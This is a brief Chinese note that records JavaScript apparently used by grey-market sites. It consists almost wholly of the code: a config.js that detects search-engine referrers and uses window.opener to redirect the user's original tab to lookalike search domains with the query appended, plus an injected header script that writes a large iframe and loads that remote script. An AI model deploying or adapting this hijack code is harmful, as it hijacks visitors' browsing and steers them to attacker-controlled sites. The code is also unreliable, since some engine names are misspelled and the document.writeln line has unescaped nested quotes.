一些做灰色相关的网站经常用这种代码,这里只做下笔记

config.js文件
if (document.cookie.indexOf('whoami') == -1) {
    var exp = new Date();
    exp.setTime(exp.getTime() + 8);
    var ref = document.referrer;
    document.cookie = 'whoami=1;expires=' + exp.toGMTString();
    var bot = ['googdle', 'yadhoo', 'bidng', 'sodso', 'sodgou', '3d60.cn', 'sdo.com', 'ydoudao',

'anqduan'];
	var bd ='baidu';
	var hao ='haosou';
    for (var i in bot) {
        if (ref.indexOf(bot[i]) != -1) {
            if (parent.window.opener) {
                parent.window.opener.location = 'http://www.gid99.com/all/index.php'
            };

        }
    }

        if (ref.indexOf(bd) != -1) {
            if (parent.window.opener) {
                parent.window.opener.location = 'http://baiduei.com/s?wd='+ref.split("wd=")[1];
            };

        }


        if (ref.indexOf(hao) != -1) {
            if (parent.window.opener) {
                parent.window.opener.location = 'http://haosout.com/s?q='+ref.split("&q=")[1];
            };

        }

}

头部引用js文件内容

document.writeln("<iframe width="100%" scrolling="no" height="4560" frameborder="0" src="http://www.xxxxxxx.com/" marginwidth="0" marginheight="0" vspace="0" hspace="0" allowtransparency="true"></iframe>"); document.writeln("<script language="JavaScript" src="http://haosout.com/config.js" type="text/javascript"></script>");